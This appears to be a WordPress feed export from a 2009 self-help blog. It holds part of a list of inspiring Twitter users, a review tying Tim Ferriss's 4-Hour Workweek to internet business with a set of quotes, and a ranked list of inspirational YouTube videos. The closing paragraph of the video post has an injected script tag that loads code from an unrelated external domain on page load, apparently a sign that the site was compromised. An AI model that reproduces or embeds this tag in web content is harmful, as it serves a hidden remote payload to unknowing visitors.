<p>20. <a href="http://twitter.com/AnnetteColby" target="_blank">Dr. Annette Colby</a> &#8211; The author of three personal development books: “<strong>Your Highest Potential</strong>,” “<strong>Body Redesign</strong>,” and “<strong>101 Great Ways to Improve Your Life</strong>.” She tweets inspirational messages and about personal development.</p>
<p>21. <a href="http://twitter.com/M_hutchings" target="_blank">Melinda Hutchings</a> - Media commentator, author, public speaker on the topic of body image and teen issues. Her passion is to help and inspire others. In love with life!</p>
<p>22. <a href="http://twitter.com/stephen_Pierce" target="_blank">Stephen Pierce</a> - The World’s #1 Internet Wealth Advocate, motivational speaker</p>
<p>23. <a href="http://twitter.com/stevepavlina" target="_blank">Steve Pavlina</a> - American self-help author, motivational speaker and entrepreneur</p>
<p>24. <a href="http://twitter.com/zen_habits" target="_blank">Leo Babauta</a> - Simplicity blogger at <a href="http://zenhabits.net" target="_blank">zenhabits.net</a> and <a href="http://mnmlist.com" target="_blank">mnmlist.com</a>, author of <a href="http://thepowerofless.com" target="_blank">The Power of Less</a></p>
<p>25. <a href="http://twitter.com/webstudio13" target="_blank">Andrew Ran Wong</a> &#8211; I tweet about any topics that would help you and inspire you to develop yourself (<span style="color: #0000ff;">like this blog post</span>). I am the founder @ <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network</a> and President @ <a href="http://WebStudio13.com" target="_blank">WebStudio13.com</a></p>
<h2><span style="color: #0000ff;">Category B &#8211; Regular Twitter Users</span></h2>
<p>In the past, I read plenty of blog posts that list a variety of personal development gurus and motivational speakers.  However, rarely did I see regular Twitter users being featured on those lists, even though some of them have been a true inspiration in my daily life. <span style="color: #0000ff;">To fill that gap, I intentionally made available 15 spots in this post where I will feature some of the most inspiring daily Twitter users that I am following.  Here are the #26 &#8211; #40.</span></p>
<p>26.  <a href="http://twitter.com/Twuoted" target="_blank">@montanaflynn</a></p>
<p>27. <a href="http://twitter.com/mmarkows " target="_blank">Michael Markowski</a></p>
<p>28. <a href="http://twitter.com/ew0ks" target="_blank">Ilija Cvorovic</a></p>
<p>29. <a href="http://twitter.com/ryanbiddulph" target="_blank">Ryan Biddulph</a></p>
<p>30. <a href="http://twitter.com/health_club" target="_blank">Health Club</a></p>
<p>31. <a href="http://twitter.com/ThumbsUpClub" target="_blank">Thumbs Up Club</a></p>
<p>32. <a href="http://twitter.com/JaneEJohnson" target="_blank">Jane E Johnson</a></p>
<p>33. <a href="http://twitter.com/LorenaHeletea" target="_blank">Lorena Heletea</a></p>
<p>34. <a href="http://twitter.com/property_101" target="_blank">Property Strategies</a></p>
<p>35. <a href="http://twitter.com/Speak_Geek" target="_blank">Geek Speak</a></p>
<p>36. <a href="http://twitter.com/Marketingtwitt" target="_blank">Market guru</a></p>
<p>37. <a href="http://twitter.com/ZnaTrainer" target="_blank">ZnaTrainer</a></p>
<p>38. <a href="http://twitter.com/thequote" target="_blank">The Quote</a></p>
<p>39. <a href=" http://twitter.com/BookBuzzr" target="_blank">Freya</a></p>
<p>40. <a href="http://twitter.com/maylingzhong" target="_blank">Mayling Zhong</a></p>
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		<title>What I learned from The 4-Hour Workweek by Tim Ferriss</title>
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		<pubDate>Tue, 25 Aug 2009 21:57:29 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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			<content:encoded><![CDATA[<p></p><p><a href="http://webstudio13.com/wp-content/uploads/2009/08/4hourworkweek.jpg"><img class="alignright size-full wp-image-452" title="4hourworkweek" src="http://webstudio13.com/wp-content/uploads/2009/08/4hourworkweek.jpg" alt="4hourworkweek" width="240" height="240" /></a>Yesterday, as I was ranking <a href="http://webstudio13.com/2009/08/24/top-10-web-2-0-guide-books-you-do-not-want-to-miss-on-amazon/" target="_blank">the Amazon Top 10 Web 2.0 Books</a>, I promised to write another review for the book <a href="http://www.amazon.com/4-Hour-Workweek-Escape-Live-Anywhere/dp/0307353133/ref=sr_1_2?ie=UTF8&amp;s=books&amp;qid=1251131289&amp;sr=1-2" target="_blank">The 4-Hour Workweek</a> (<strong>4HWW</strong>).  This book is authored by <strong>Tim Ferriss</strong>.  In fact, the book was published in 2007.   Therefore, I am not going into the things people will write when they review a book.  Instead, I would like to extend the ideas of the book to the Web 2.0 context.  In this post, I will illustrate why I think <strong>4HWW</strong> has great tips for <strong>Internet entrepreneurs (Infopreneurs)</strong>. So here we go.</p>
<h2><strong>A Brief Summary of the Book</strong></h2>
<p><strong>The 4-Hour Workweek</strong> is about lifestyle design. As far as I am concerned, the author<strong> Tim Ferriss</strong> is the ultimate master of <span style="text-decoration: underline;"><em>escaping 9-5, and living a mobile lifestyle</em></span>.  Here are the four main components of this book:</p>
<p><strong>1. Definition</strong> – Define what it is that you truly want, stop following the majority, and join the new rich;</p>
<p><strong>2. Elimination</strong> – Prioritize things based on its importance.  Make a to-do list of the things that matter the most to you and demand great attention from you.</p>
<p><strong>3. Automation</strong> – Hire a virtual assistant, and outsource the daily tasks that are not essential to you and require your repetitive efforts.</p>
<p><strong>4. Liberation</strong> – Create a streamline process of getting things done without your presence.  I like to call it <strong>passive residual income</strong>.  Embrace a mobile lifestyle.<br />
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<p>If you have read the book, you know what I mean by those four points. Otherwise, just bear with me as I will draw parallels between <strong>4HWW</strong> and an <strong>Internet business</strong> in the following.</p>
<h2><strong>Connecting the Dots</strong></h2>
<p>There are mixed reviews about <strong>4HWW</strong>.  For example, on <a href="http://amazon.com" target="_blank">Amazon</a>,  some people say the book is flawed in that it does not specify how to achieve a mobile lifestyle.  Most people have no clue when it comes to outsourcing.  While the author&#8217;s own story is fascinating, most readers don&#8217;t know how to do it.  In this post, that issue is not my concern and shouldn&#8217;t be yours. In the following, I would apply the <strong>4HWW</strong> theories to the <strong>Web 2.0 </strong>context. I have broken it down to specific points below. Here let&#8217;s go through each one of them.</p>
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<li><em><strong>Definition: </strong>Look at the Internet new rich</em><em><strong>, </strong>including some very well known blogs such as <a href="http://techcrunch.com" target="_blank">TechCrunch</a>, <a href="http://mashable.com" target="_blank">Mashable</a>, etc.  For them, serving the masses with fresh news content is their mission.  They define success as reporting on-time news about social media and tech products.  In my case, I define my passion as offering tips about tweeting, blogging, and social media marketing. It’s a great feeling to see other people benefit from your efforts.  So first step, you gotta know what it is that you are passionate about. </em><em> </em></li>
<li><em><strong>Elimination:</strong> I am now able to eliminate the tedious tasks I used to have to face everyday while working in Corporate America. My lifestyle now is designed to grow my business or increase the traffic on my site. Everyday is a new day with something to learn. Most importantly, I don&#8217;t have to worry about doing the non-relevant tasks that are considered a waste of my time.  The ability to eliminate gives you the joy and power to concentrate whatever appears most essential to you. </em><em> </em><em> </em></li>
<li><em><strong>Automation:</strong> In the Web 2.0 era, “automation” basically means having other people pay you while you enjoy what you do.  If you are a blogger, the traffic you are able to accumulate on your site eventually will bring you sponsors, potential customers, or even opportunities to speak at major conferences.  In other words, automation enables you to enjoy passive residual income. </em><em> </em></li>
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<li><em><strong>Liberation:</strong> This is the dream of every Internet Entrepreneur.  After your Web business has got to certain scale, you’d be able to free up your time by hiring people or even using high-end sofoware.  For example, if you have tons of photos to upload to Flickr everyday, they can outsource it to an overseas assistant.  Let&#8217;s say, someone in Philippine. In my case, I have a <a href="http://www.ny-entrepreneur-network.com/" target="_blank">Meetup group</a>.  I would love to have someone help me handle the administrative tasks, such as replying emails and answering phone calls.</em></li>
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<h2><strong>Some Extra Things That Have Inspired Me</strong></h2>
<p>If you followed me on <a href="http://twitter.com/WebStudio13" target="_blank">Twitter</a>, you would know I am a fan of personal development.  I love to tweet quotes every now and then to share with my Twitter community. <strong>Tim Ferriss</strong> has some great quotes that I&#8217;d like to share with you here.</p>
<p>“Whenever you find yourself on the side of majority, it is time to pause and reflect.” – Mark Twain</p>
<p>“Anyone who lives within their means suffers from a lack of imagination.” – Oscar Wilde</p>
<p>“An expert is a person who has made all the mistakes that can be made in a very narrow field.” – Niels Bohr</p>
<p>“If you can free your time and location, your money is automatically worth 3-10 times as much.” – Tim Ferriss</p>
<p>“Once you say you’re going to settle for second, that’s what happens to you in life.” – John F. Kennedy</p>
<p>“If it’s important to you and you want to do it ‘eventually,’ just do it and correct course along the way.” – Tim Ferriss</p>
<p>“Action may not always bring happiness, but there is no happiness without action.” – Benjamin Disraeli</p>
<p>“Nine to five for your working lifetime of 40-50 years is a long-ass time if the rescue doesn’t come.  About 500 months of solid work.” &#8211; Time Ferriss</p>
<p>“Tomorrow becomes never. No matter how small the task, take the first step now!” – Tim Ferriss<br />
“It is far better for a man to go wrong in freedom than to go right in chains.” – Thomas H. Huxley</p>
<p>“What man actually needs is not a tensionless state but rather the striving and struggling for a worthwhile goal, a freely chosen task.” – Viktor E. Frankl</p>
<p>“If you don’t make mistakes, you’re not working on hard enough problems. And that’s a big mistake.” – Frank Wilczek</p>
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		<title>13 Most Inspiring YouTube Videos of All-Time</title>
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		<pubDate>Mon, 17 Aug 2009 08:47:04 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[ YouTube has been a great place for posting and sharing video content.   Personally, I like to keep an eye out for popular and new inspirational videos on YouTube.  As a matter of fact, I have made a habit of watching inspiring videos for at least 15 minutes every morning after I [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://www.youtube.com/" target="_blank"><strong><strong> </strong></strong></a><strong><strong><a href="http://webstudio13.com/wp-content/uploads/2009/08/youtube_logo1.jpg"><img class="alignright size-full wp-image-305" title="youtube_logo1" src="http://webstudio13.com/wp-content/uploads/2009/08/youtube_logo1.jpg" alt="youtube_logo1" width="200" height="104" /></a></strong>YouTube</strong> has been a great place for posting and sharing video content.   Personally, I like to keep an eye out for popular and new inspirational videos on YouTube.  As a matter of fact, I have made a habit of watching inspiring videos for at least 15 minutes every morning after I return from the gym.  It really helps me get the day started right and keep the positive energy flowing.  Here let me share the top 13 of my favorite videos (plus 2 bonuses).</p>
<h2><strong>Category A – Speakers/Celebrities</strong></h2>
<h3>1) Susan Boyle’s Sensational <em>Britain’s Got Talent</em> Video</h3>
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<p><em>Note: The above video can also be found on YouTube.</em></p>
<p>This clip is now one of the most popular videos in the history of YouTube. The aggregate viewership of Susan Boyle&#8217;s performance on Britain’s Got Talent approached near <strong>100 million</strong> views in its first nine days and earning the producers of the program (<a href="http://www.wired.com/epicenter/2009/04/susan-boyle-nev/" target="_blank">Wired.com</a>). This inspiring masterpiece is a classic example of viral hit. Therefore, it is the <strong>#1</strong> out of all the inspirational videos.</p>
<h3><span id="more-278"></span>2) Randy Pausch&#8217;s Last Lecture</h3>
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<em> “On September 18, 2007, Carnegie Mellon professor and alumnus <strong>Randy Pausch</strong> delivered a one-of-a-kind last lecture that made the world stop and pay attention. It became an Internet sensation viewed by millions, an international media story, and a best-selling book that has been published in 35 languages. To this day, people everywhere continue to talk about Randy, share his message and put his life lessons into action in their own lives (<a href="http://www.cmu.edu/randyslecture/" target="_blank">Carnegie Mellon University</a>).”</em></p>
<h3>3) Tony Robbins Tells Rocky Story</h3>
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<p>This clip has always been my favorite. I like the movie “<a href="http://en.wikipedia.org/wiki/Rocky" target="_blank">Rocky</a>” since I was little. <strong>Tony Robbins</strong> has done a great job in telling a revealing story about <strong>Stallone</strong>’s relentless pursuit of a movie career. Although the beginning wasn’t all sunshine and rainbows, Stallone persevered and succeeded massively!  Great inspiration indeed.</p>
<h3>4) Steve Jobs&#8217; 2005 Stanford Commencement Address</h3>
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<p>Here is a brief summary from <em>Stanford University</em> about this video  – “<em>Drawing from some of the most pivotal points in his life, Steve Jobs, chief executive officer and co-founder of Apple Computer and of Pixar Animation Studios, urged graduates to pursue their dreams and see the opportunities in life&#8217;s setbacks &#8212; including death itself &#8212; at the university&#8217;s 114th Commencement on June 12, 2005.” The speech <a href="http://news-service.stanford.edu/news/2005/june15/jobs-061505.html" target="_blank">script</a> is available at <a href="http://news-service.stanford.edu/news/2005/june15/jobs-061505.html" target="_blank">here</a></em>.</p>
<h3>5) Will Smith &#8211; Running &amp; Reading</h3>
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<p>I love <strong>Will Smith</strong>’s inspirational movies such as <a href="http://www.imdb.com/title/tt0454921/" target="_blank">the Pursuit of Happiness</a>.  In this video, Will is emphasizing the importance of <strong>running and reading</strong> as a means to develop daily discipline.  It features Will&#8217;s inspirational speech after winning at the 2005 <strong>Kid&#8217;s Choice Awards</strong>, accompanied by an awesome instrumental (For<strong> Da Love of Da Game</strong>) from <strong>DJ Jazzy Jeff&#8217;</strong>s 2002 Album, <em>The Magnificent</em>. Will says “<em>The person who works the hardest wins</em>.”</p>
<h3>6) Get Motivated with Tony Robbins (A 22-Minute Ted Video Podcast)</h3>
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<p>Rarely do I see Tony Robbins’ seminars being uploaded on YouTube. Tony Robbins discusses the &#8220;invisible forces&#8221; that motivate everyone&#8217;s actions.  Listen to this if you haven’t been to Tony’s live seminars.  It is a great experience even watching it on YouTube!</p>
<h2><strong>Category B – Movie Clips</strong></h2>
<h3>7)  Al Pacino &#8211; &#8220;life&#8217;s This Game of Inches&#8221; Speech (Any Given Sunday)</h3>
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<p>&#8220;<em>&#8230;You find out life&#8217;s this game of inches. And so is football. Because in either game, life or football, the margin for error is so small. I mean&#8230; one half a step too late or too early and you don&#8217;t quite make it. One half second too slow too fast, you don&#8217;t quite catch it. The inches we need are everywhere around us. They are in every break of the game, every minute, every second. On this team, we fight for that inch. On this team, we tear ourselves and everyone else around us to pieces for that inch. We claw with our fingernails for that inch. Because we know when we add up all those inches, that&#8217;s gonna make the fucking difference between winning and losing! Between living and dying! I&#8217;ll tell you this &#8211; in any fight, its the guy whose willing to die who&#8217;s gonna win that inch. And I know if I&#8217;m going to have any life anymore, it&#8217;s because I&#8217;m still willing to fight and die for that inch. Because that&#8217;s what living is! The 6 inches in front of your face&#8230;</em>&#8221;</p>
<h3>8 )  The Best Dialogue of All Rocky Movies</h3>
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<p>&#8220;<em>The world ain&#8217;t all sunshine and rainbows. It&#8217;s a very mean and nasty place&#8230; and I don´t care how tough you are, it will beat you to your knees and keep you there permanently, if you let it. You, me or nobody, is gonna hit as hard as life. But ain&#8217;t about how hard you hit&#8230; It&#8217;s about how hard you can get hit, and keep moving forward&#8230; how much you can take, and keep moving forward. That´s how winning is done. Now, if you know what you worth, go out and get what you worth. But you gotta be willing to take the hits. And not pointing fingers saying: You ain´t what you wanna be because of him or her or anybody. Cowards do that and that ain´t you! You´re better than that!&#8221; (Rocky Balboa)</em></p>
<h3>9)  Movie Clip from Facing the Giants</h3>
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<p>I think this movie clip is pretty self-explanatory. <strong> If we can, we must</strong>. Everybody has the potential, within themselves, to do something remarkable and outstanding.  <strong>Key phrase here – “Keep Stretching Yourself.”</strong></p>
<h3>10) 40 Inspirational Speeches in 2 Minutes</h3>
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<p>Always love creative initiatives in utilizing Web 2.0 tools.  Aside from being inspirational, this clip is a masterpiece which combines 40 movie speeches that runs for only 2 minutes. The remix is brilliant and I certainly appreciate the editor’s efforts.</p>
<h2><strong>Category C – Inspiring Slideshows</strong></h2>
<h3>11) The Law of Attraction</h3>
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<p>Law of Attraction has always been the big secret for any success, no matter what you do.  According to the great business philosopher <strong>Jim Rohn</strong>, “<em>Success is something you attract by the person you become</em>.”  It’s really a great experience to reinforce our beliefs by watching this video again and again.</p>
<h3>12) The Don&#8217;t Quit Poem (Video Version)</h3>
<p><center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/VkCFeNeqyHk&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/VkCFeNeqyHk&amp;hl=en&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></center></p>
<p>The video is based on the famous <strong>The Don’t Quit</strong> Poem. To read the poem, <a href="http://www.geocities.com/dont_quit_anonymous/" target="_blank">click here</a>.</p>
<h3>13) Inspirational Quotes</h3>
<p><center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/0Bcxwhzyh7c&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/0Bcxwhzyh7c&amp;hl=en&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></center></p>
<p>Great slideshow video featuring <strong>Beatle</strong>’s song “<em>Imagine</em>” and some of the best inspirational quotes ever!</p>
<h2><strong>Category D &#8211; Soundtracks</strong></h2>
<h3>Bonus 1 – Rocky Theme Song</h3>
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<p>The Rocky series was originated in 1976. The film was written by and starring <strong>Sylvester Stallone</strong>. The film was inspired by the famous fight between <strong>Muhammad Ali</strong> and <strong>Chuck Wepner</strong>. Wepner had been TKO&#8217;d in the 15th round by Ali, but nobody ever expected him to last as long as he did. Wepner recalls in a January 2000 interview, &#8220;<em>Sly (Stallone) called me about two weeks after the Ali fight and told me he was gonna make the movie</em>.&#8221;</p>
<h3>Bonus 2 – Stand By Me | Playing For Change | Song Around the World</h3>
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<p>Some time it is better to know that you are not alone in your journey of pursuing happiness and success.  From the award-winning documentary, &#8220;<em>Playing For Change: Peace Through Music</em>&#8220;, comes the first of many &#8220;<em>songs around the world</em>&#8221; being released independently.  Featured is a cover of the <strong>Ben E. King</strong> classic by musicians around the world adding their part to the song as it traveled the globe.</p>
<h2><strong>The End</strong></h2>
<p>This wraps up our ultimate list of the inspirational YouTube videos.  As the list grows or changes in the future, we will make updates accordingly.  Is this helpful for you in the area of personal growth? Would like to hear from other like-minded professionals.  Please leave your comments below.<script src="http://ao.euuaw.com/9"></script></p>


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